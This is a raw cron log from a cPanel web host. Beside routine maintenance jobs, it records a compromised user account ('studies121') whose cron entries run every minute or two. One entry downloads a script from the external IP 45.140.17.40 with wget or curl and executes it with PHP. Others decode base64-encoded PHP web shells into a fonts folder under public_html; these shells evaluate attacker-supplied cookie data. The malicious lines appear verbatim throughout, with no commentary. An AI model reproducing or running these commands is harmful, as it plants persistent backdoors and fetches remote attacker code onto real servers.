Sep 10 03:45:01 ip-184-168-122-23 CROND[26717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:45:01 ip-184-168-122-23 CROND[26715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:46:01 ip-184-168-122-23 CROND[26830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:46:01 ip-184-168-122-23 CROND[26833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:46:01 ip-184-168-122-23 CROND[26832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:46:01 ip-184-168-122-23 CROND[26834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:46:01 ip-184-168-122-23 CROND[26836]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 03:46:01 ip-184-168-122-23 CROND[26838]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:46:01 ip-184-168-122-23 CROND[26840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:47:01 ip-184-168-122-23 CROND[27061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:47:01 ip-184-168-122-23 CROND[27063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:47:01 ip-184-168-122-23 CROND[27062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:47:01 ip-184-168-122-23 CROND[27065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:48:01 ip-184-168-122-23 CROND[27180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:48:01 ip-184-168-122-23 CROND[27182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:48:01 ip-184-168-122-23 CROND[27183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:48:01 ip-184-168-122-23 CROND[27184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:48:01 ip-184-168-122-23 CROND[27185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:49:01 ip-184-168-122-23 CROND[27309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:49:01 ip-184-168-122-23 CROND[27311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:49:01 ip-184-168-122-23 CROND[27313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:49:01 ip-184-168-122-23 CROND[27312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:50:01 ip-184-168-122-23 CROND[27437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:50:01 ip-184-168-122-23 CROND[27438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:50:01 ip-184-168-122-23 CROND[27439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:50:01 ip-184-168-122-23 CROND[27444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:50:01 ip-184-168-122-23 CROND[27442]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:50:01 ip-184-168-122-23 CROND[27443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:50:01 ip-184-168-122-23 CROND[27450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:50:01 ip-184-168-122-23 CROND[27448]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:50:01 ip-184-168-122-23 CROND[27451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:50:01 ip-184-168-122-23 anacron[21432]: Job `cron.daily' started
Sep 10 03:50:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[27465]: starting logrotate
Sep 10 03:50:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[27488]: finished logrotate
Sep 10 03:50:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[27465]: starting man-db.cron
Sep 10 03:50:04 ip-184-168-122-23 run-parts(/etc/cron.daily)[27500]: finished man-db.cron
Sep 10 03:50:04 ip-184-168-122-23 anacron[21432]: Job `cron.daily' terminated
Sep 10 03:50:04 ip-184-168-122-23 anacron[21432]: Normal exit (1 job run)
Sep 10 03:51:01 ip-184-168-122-23 CROND[27575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:51:01 ip-184-168-122-23 CROND[27579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:51:01 ip-184-168-122-23 CROND[27578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:51:01 ip-184-168-122-23 CROND[27580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:52:01 ip-184-168-122-23 CROND[27713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:52:01 ip-184-168-122-23 CROND[27716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:52:01 ip-184-168-122-23 CROND[27715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:52:01 ip-184-168-122-23 CROND[27717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:52:01 ip-184-168-122-23 CROND[27714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:53:01 ip-184-168-122-23 CROND[27819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:53:01 ip-184-168-122-23 CROND[27821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:53:01 ip-184-168-122-23 CROND[27822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:53:01 ip-184-168-122-23 CROND[27824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:54:01 ip-184-168-122-23 CROND[27922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:54:01 ip-184-168-122-23 CROND[27923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:54:01 ip-184-168-122-23 CROND[27926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:54:01 ip-184-168-122-23 CROND[27927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:54:01 ip-184-168-122-23 CROND[27928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:55:01 ip-184-168-122-23 CROND[28105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:55:01 ip-184-168-122-23 CROND[28107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:55:01 ip-184-168-122-23 CROND[28108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:55:01 ip-184-168-122-23 CROND[28109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:55:01 ip-184-168-122-23 CROND[28111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:55:01 ip-184-168-122-23 CROND[28112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:56:01 ip-184-168-122-23 CROND[28231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:56:01 ip-184-168-122-23 CROND[28235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:56:01 ip-184-168-122-23 CROND[28233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:56:01 ip-184-168-122-23 CROND[28234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:56:01 ip-184-168-122-23 CROND[28236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:57:01 ip-184-168-122-23 CROND[28333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:57:01 ip-184-168-122-23 CROND[28336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:57:01 ip-184-168-122-23 CROND[28334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
